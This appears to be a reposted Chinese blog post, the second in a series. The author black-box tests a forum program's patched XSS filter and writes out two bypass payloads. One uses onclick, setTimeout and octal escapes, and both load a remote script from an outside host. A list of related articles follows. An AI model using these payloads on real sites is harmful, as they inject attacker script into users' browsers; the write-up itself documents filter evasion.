第一次和一套程序做了这么多次的斗争。今天基友又给我来信说,没得玩了。了解了下情况,是他拿着0day到处插,被人家发现了。还出了个公告,说所有***必须安装补丁。呵呵,性福总是走的这么突然。这乐子一下就让人给搞没了。本来想的就算了。但是突然觉得还是想看看程序员是怎么修复的。(说实话,搞了那么多天也有感情了不是)

<p onmouseover="\u0064ocument.write('&lt;sc'+'ript src=//zsy.ca/33&gt;&lt;/sc'+'ript&gt;')">  

针对于我用上面的payload和我用eval拼接多个XSS语句的的问题,在多次黑盒测试之后发现他是这么去思考这个问题的:

1.先解决掉onmouseover,采取的方式是发现onmou就拦截发贴
2.解决编码绕过问题。怎么做?既然可以用unicode来绕过就在发现\u时拦截
3.既然有人用eval来拼接,我就把eval过滤了。发现就拦截。
4.既然黑阔用的方法都是不闭合标签的,那么当碰到没有闭合的标签时就让content=""(其实我也想闭合显得自己专业一点。但是长度不够啊)

要再次挑战一下这个程序员么?

一个很有意思的程序员。我其实挺佩服他这种认真负责的态度的。但是方法还是不对。顺便提一下一个新发现的问题。这个问题不知道是之前就有了,还是程序员爆发了。他把“#”给过滤了。有两种可能性:

1.是个通用的防注入程序,为了防止网站被注入时攻击者使用"#"来注释多余的部分
2.他开窍了。他知道除了unicode之外,还有hex和demical只要过滤了#,我就绕不过去了。

然后顺便纠正一下我上次测试的时候,犯的一个马虎。其实标题处的长度限制是150.我可能当时测试的姿势不对- -。这个也不是今天的重点。

因为第一次对测试步骤已经说的很详细了。故不做重复的解释。在经过一系列fuzz之后发现onclick属性它没过滤。我们就有了

<p onclick="">求助</p>

还要继续解决前面的问题。之前在处理黑名单成员document时,我们使用了unicode.现在不单unicode不能用了,替代品hex和demical也不能用了(因为过滤了"#")想了下还有octal和base16.但是base16和octal不能直接拿来编码document。如果在eval()里面就好了。可是eval()又被过滤了。怎么办呢?想了想,还有个加强版的eval()就是setTimeout(,).和eval最大的区别就是多了个Timer。但是只要把延迟设置为0那就和eval()是一样的了。

然后开始构造payload:

<p onclick="setTimeout('\144ocument.write(\47\74\163cript src=//zsy.ca/33\76\74/\163cript\76\47)',0)">域名问题</p>

一个没有eval,unicode,document,char,onmouseover,script和#的payload又让我们给写好了.性福总是来的这么突然。不知道这次穿帮又会是什么时候。期待程序员下次更好的表现呢。程序猿,加油!

这次的可能有点短。如果大家都觉得挺有意思的话下次他再更新程序了,我会再次跟进测试然后发到这里。如果觉得太无趣了的话也可以说一下,我也就不发了。

 
 

(转) exp1-2://一次有趣的XSS漏洞挖掘分析(2)的更多相关文章

  1. (转) exp1-1:// 一次有趣的XSS漏洞挖掘分析(1)

    from http://www.cnblogs.com/hookjoy/p/3503786.html 一次有趣的XSS漏洞挖掘分析(1)   最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套 ...

  2. 一次有趣的XSS漏洞挖掘分析(1)

    最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套程序还是很有意思的.因为是过去式的文章,所以没有图.但是希望把经验分享出来,可以帮到和我一样爱好XSS的朋友.我个人偏爱富文本XSS,因为很有 ...

  3. 一次有趣的XSS漏洞挖掘分析(2)

    第一次和一套程序做了这么多次的斗争.今天基友又给我来信说,没得玩了.了解了下情况,是他拿着0day到处插,被人家发现了.还出了个公告,说所有***必须安装补丁.呵呵,性福总是走的这么突然.这乐子一下就 ...

  4. 一次有趣的XSS漏洞挖掘分析(3)最终篇

    这真是最后一次了.真的再不逗这个程序员了.和预期一样,勤奋的程序员今天又更新程序了.因为前面写的payload都有一个致命的弱点,就是document.write()会完全破坏DOM结构.而且再“完事 ...

  5. (转) exp1-3://一次有趣的XSS漏洞挖掘分析(3)最终篇

      这真是最后一次了.真的再不逗这个程序员了.和预期一样,勤奋的程序员今天又更新程序了.因为前面写的payload都有一个致命的弱点,就是document.write()会完全破坏DOM结构.而且再“ ...

  6. xss漏洞挖掘小结

    xss漏洞挖掘小结 最近,在挖掘xss的漏洞,感觉xss真的不是想象的那样简单,难怪会成为一类漏洞,我们从防的角度来讲讲xss漏洞的挖掘方法: 1.过滤 一般服务器端都是采用这种方式来防御xss攻击, ...

  7. 记一次隐秘的XSS漏洞挖掘

    前言 在为某客户网站做渗透测试时发现一个有趣的事情.当我访问该网站的某条链接时服务器返回的是404页面.看到这里我当时就下意识的忽略它,但是后来又想了想这也不是完全没有价值,毕竟中间件及其版本都出来了 ...

  8. Xss漏洞原理分析及简单的讲解

    感觉百度百科 针对XSS的讲解,挺不错的,转载一下~   XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XS ...

  9. 记一次xss漏洞挖掘

    博客园在整改中,无法更新文章,难受啊... 记录一次react的xss漏洞发现,比较有意思: 某个站: 直接输入<xxx>,直接把我跳转到了404,猜测可能做了一些验证: 尝试多重编码,发 ...

随机推荐

  1. CSS---cursor 鼠标指针光标样式(形状)

    url 需使用的自定义光标的 URL. 注释:请在此列表的末端始终定义一种普通的光标,以防没有由 URL 定义的可用光标. default 默认光标(通常是一个箭头) auto 默认.浏览器设置的光标 ...

  2. Python1_Python的目录结构、执行顺序、__name__ == __main__

    Python执行顺序 python属于脚本语言,不像编译型的语言那样先将程序编译成二进制后再运行,而是动态地逐行解释运行: 也就是从脚本的第一行开始运行,没有统一的入口. python会从文件的第一行 ...

  3. Python之time模块和datatime模块

    import time time.sleep(5) #休眠 time.time() #返回系统时间戳 utc时间秒数 time.ctime() #返回字符串时间格式,也可以传入参数转换为字符串时间ti ...

  4. 第二阶段:2.商业需求文档MRD:2.MRD-目标市场分析

    版本管理的变更人,属性,时间以及审核人都要严格的写清楚. MRD主要面向的是参与这个需求同级别的同时或主管,让大家更好的了解这个产品的各个方面,达成共识. 现在互联网的发展周期很短,不需要看4.5年, ...

  5. 深入学习CSS中如何使用定位

    CSS中定位介绍 position属性在英文单词中表示位置的意思,在CSS中主要作用设置元素的定位. CSS中一共有3种定位如下: 属性值 描述 fixed 设置固定定位. relative 设置相对 ...

  6. poj1737-----这题有毒

    这题有毒,不取模还会溢出,我哭了 <进阶指南>p337动态规划 公式就是个这了,代码就不贴了,反正是错的,用java算了

  7. 微服务Dubbo和SpringCloud架构设计、优劣势比较

    本文主要围绕微服务的技术选型.通讯协议.服务依赖模式.开始模式.运行模式等几方面来综合比较Dubbo和Spring Cloud 这2种开发框架.架构师可以根据公司的技术实力并结合项目的特点来选择某个合 ...

  8. javascript DOM 编程艺术 札记1

    一个重要观点 DOM 是指 文档对象模型,它对应浏览器实际认知的东西.html 文本本身和 html 加载到浏览器中显示的东西并不是完全一致的,后者就是 DOM 节点树,它是浏览器实际认知的东西.一个 ...

  9. $CF888G\ Xor-MST$ 最小生成树

    正解:最小生成树 解题报告: 传送门$QwQ$ 发现$Kruskal$和$Prime$都不太可做,于是考虑$B$算法. 先大概港下$B$算法的流程趴$QwQ$.大概就,每次对每个联通块找到最近的联通块 ...

  10. C#反射与特性(三):反射类型的成员

    目录 1,获取类型的信息 1.1 类型的基类和接口 1.2 获取属性.字段成员 上一篇文章中,介绍如何获取 Type 类型,Type 类型是反射的基础. 本篇文章中,将使用 Type 去获取成员信息, ...